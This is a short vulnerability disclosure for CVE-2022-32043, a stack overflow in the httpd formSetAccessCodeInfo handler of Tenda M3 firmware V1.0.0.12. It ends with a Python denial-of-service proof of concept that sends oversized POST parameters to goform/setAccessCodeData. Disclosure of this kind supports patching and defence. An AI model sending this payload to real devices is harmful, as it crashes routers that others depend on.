Headline
CVE-2022-32043: IoT-vuln/Tenda/M3/formSetAccessCodeInfo at main · d1tto/IoT-vuln
Tenda M3 V1.0.0.12 was discovered to contain a stack overflow via the function formSetAccessCodeInfo.
Overview
- The device’s official website: https://www.tenda.com.cn/product/M3.html
- Firmware download website: https://www.tenda.com.cn/download/detail-3133.html
Affected version
V1.0.0.12(4856)
Vulnerability details
httpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the formSetAccessCodeInfo function, which can be accessed via the URL goform/setAccessCodeData
formSetAccessCodeInfo function gets the POST parameter info and logo_pic_nameand copies to stack buffer without checking its length, causing a stack overflow vulnerability.
PoC
Poc of Denial of Service(DoS)
import requests
data = { b"info": b’A’*0x400, b"logo_pic_name": b’A’*0x400 } cookies = { b"user": “admin” } res = requests.post("http://127.0.0.1/goform/setAccessCodeData", data=data, cookies=cookies) print(res.content)